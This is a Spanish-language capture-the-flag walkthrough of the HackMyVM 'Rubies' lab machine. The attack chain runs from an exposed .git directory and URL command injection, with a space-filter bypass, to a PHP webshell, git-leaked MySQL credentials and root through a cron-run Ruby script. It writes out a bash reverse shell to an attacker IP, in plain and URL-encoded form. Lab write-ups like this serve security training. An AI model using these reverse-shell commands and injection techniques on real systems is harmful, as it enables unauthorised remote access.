# HackMyVM Rubies — Linux

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página [https://hackmyvm.eu/machines/](https://hackmyvm.eu/machines/)

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523754307/36b404e6-ddea-4c5d-976f-d868521a1cae.png align="center")

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear `arp-scan` para ver la dirección IP en nuestra red que sería la `192.168.0.18`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523760797/41a8cdbc-7f64-4946-a8ba-daf1047c7bd8.png align="center")

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523777452/39776d24-de57-4933-aeb3-342954fffadb.png align="center")

Empezamos con un escaneo de puertos y podemos ver que tenemos 2 puertos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523783779/b8086a5b-a45d-4db8-b4bc-27f3dfe2b003.png align="center")

Al realizar un escaneo más profundo y podemos ver que en el puerto 80 tenemos un `.git`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523790366/d0e49e91-aaef-4f0e-8018-a67c58deccb8.png align="center")

Realizamos un escaneo de subdirectorios y podemos ver que tenemos varios interesantes.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523806080/cde152b5-c445-4861-a963-208dfa8047ec.png align="center")

Ingresamos la dirección IP en el navegador y podemos ver que la opción de subir archivos parecen desactivados.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523814115/1ec59fef-8dc5-4d8b-b40a-1d313e7ea007.png align="center")

Ingresamos la dirección IP en el navegador y podemos ver que la opción de subir archivos parecen desactivados.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523821638/15c62313-b868-402f-a628-2ae817c24cc1.png align="center")

Al dar al botón `next` observamos que en efecto nos muestran poemas, pero lo más interesante está en la estructura del URL.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523828153/40d14559-6836-44f7-bade-eea589a8c69f.png align="center")

Veremos si podemos leer el `/etc/passwd`, luego de enviarlo si tenemos una res puesta positiva.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523842505/52b63188-4c9d-4986-939a-0b9382437ddb.png align="center")

Agregando un nuevo comando podemos observar que ejecuta comandos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523850582/9caf9f0c-433b-430f-a45c-d59b2055942e.png align="center")

Probaremos enviando una revshell

```bash
bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
```

Pero para evitar problemas lo URL-encodeamos.

```bash
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
```

Antes de enviar iniciamos nuestro listener con el puerto seleccionado.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523858365/f119b8a2-cf4e-43d7-9b04-321d78dbeada.png align="center")

Vemos una respuesta interesante que indica que detectaron.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523870050/17ec3fd7-f140-49ec-b592-74b40113c81b.png align="center")

Buscando como podemos saltar los espacios tenemos [Separadores de Campos de Entrada](https://en-m-wikipedia-org.translate.goog/wiki/Input_Field_Separators?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es&_x_tr_pto=sge#:~:text=For%20many%20command%20line%20interpreters,to%20separate%20text%20into%20tokens.) Probamos con estos parámetros y vemos que sí nos ejecuta.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523880154/7960d640-b0af-48eb-909c-0c97216f19bc.png align="center")

Con esto lo que haremos es descargar una webshell simple en PHP, ya que vemos que el index es un `PHP`. Creamos el archivo y comenzamos el servidor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523897939/c8d501d0-59fb-4e3f-ac2c-e555024587ec.png align="center")

Descargamos el archivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523917159/9dee839c-546e-403c-ba29-701459dd0fde.png align="center")

Listamos y podemos ver que tenemos el archivo en el mismo directorio.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523923230/ca861df1-0744-49e3-9882-d18fbedde639.png align="center")

Ejecutamos la shell y podemos ver que sí tenemos respuesta.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523945222/96979461-ac63-47f5-9f55-d83d00cfff48.png align="center")

Volvemos a probar enviando una revshell

```bash
bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
```

Pero para evitar problemas lo URL-encodeamos.

```bash
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
```

Antes de enviar empezamos nuestro listener con el puerto seleccionado.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523954871/436174cc-8c99-4723-a73a-d925d4d80381.png align="center")

Enviamos el comando y la web se quedará cargando lo que es buena señal.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523963535/a8328c56-8ba8-4ff7-9357-445789af3640.png align="center")

Regresando al listener tenemos ya acceso a la máquina.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523973102/2f93a320-c135-4663-ae12-fb7c3201d6ee.png align="center")

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

```plaintext
script /dev/null -c bash
```

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

```bash
stty raw -echo; fg
				reset xterm
```

para obtener más características usamos

```bash
export TERM=xterm
```

para la variable de entorno

```bash
echo $SHELL
```

y para pasar a bash usamos

```bash
export SHELL=/bin/bash
```

para establecer el tamaño adecuado de la consola ingresamos

```plaintext
stty rows 59 cols 236
```

de esta manera ya nos podemos mover con más libertad en la consola. Buscando permisos y archivos vemos que no tenemos alguno interesante. Recordemos que teníamos un `.git`, descargaremos el directorio.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523988490/480995e4-1c15-4d98-9350-aa4aa9a7f721.png align="center")

Entramos en el archivo .git y vemos que tenemos el `logs`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738523996647/aa531bd1-806a-44f8-9c31-12e67391c47c.png align="center")

Revisamos los commits y tenemos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524005189/bb90e569-425e-439c-b804-34f1fd29b83b.png align="center")

Para una mayor claridad hacemos uso de

```shell
git log --oneline
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524018526/cc2b3b47-2474-4b28-b293-bc6b97d9295c.png align="center")

realizamos un git show para poder observar los cambios en el commit y encontramos unas credenciales de MySQL.

```plaintext
root:jd92khn49w
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524027056/756d7942-4ee8-40b6-b924-2c5bf4c99e4f.png align="center")

Probamos ingresando las credenciales, pero solo nos va con `minie`, pero esta nos muestra una nueva pestaña.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524054429/4d72a677-bc93-4711-8d35-0ff558bbf870.png align="center")

Generamos un bash y salimos.

```plaintext
exec("/bin/bash")
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524072515/a3467d2f-783c-44e0-9099-e014222d5d7c.png align="center")

Revisamos Permisos, pero no vemos nada interesante. Buscando entre los archivos temporales tenemos uno interesante en `opt`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524095671/cbd3a950-07ec-4a3a-85e8-705a6eacabc6.png align="center")

Comprobando más a fondo vemos que se trata de un `Ruby` que es para buscar de manera recursiva y eliminar cualquiera que tenga .php

Descargaremos el archivo `pspy64` para ver si tenemos algún programa que esté ejecutando el archivo que encontramos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524104542/9b5f90b1-d56c-4b73-b493-6fa14c2cfbd3.png align="center")

Luego de ejecutar vemos que está ejecutando un script interesante que está en `Ruby` también.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524127389/7b38aa84-d967-4060-a78c-f2f6ec51b878.png align="center")

Ya que se ejecuta con cierta frecuencia, supondremos que este script lee la carpeta `cleaning`. Por ello, en la carpeta agregaremos una revshell que obtuvimos en un [GitHub](https://gist.github.com/gr33n7007h/c8cba38c5a4a59905f62233b36882325).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524135485/7ae3b971-7226-45c8-9e0b-145b6b10031f.png align="center")

Iniciamos nuestro listener.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524146310/18209a20-ac6b-476c-bf77-dc7095475a57.png align="center")

Creamos el archivo y le damos permisos de ejecución para evitar algún posible problema.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524151970/d03e7489-c7d1-42a3-9c19-58ab7ed1598c.png align="center")

Después de unos segundos vemos en nuestro listener y tenemos acceso como `root`. De esta manera culminamos esta máquina.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1738524157563/1b684dcb-054f-4559-acb1-a2892507e4b6.png align="center")
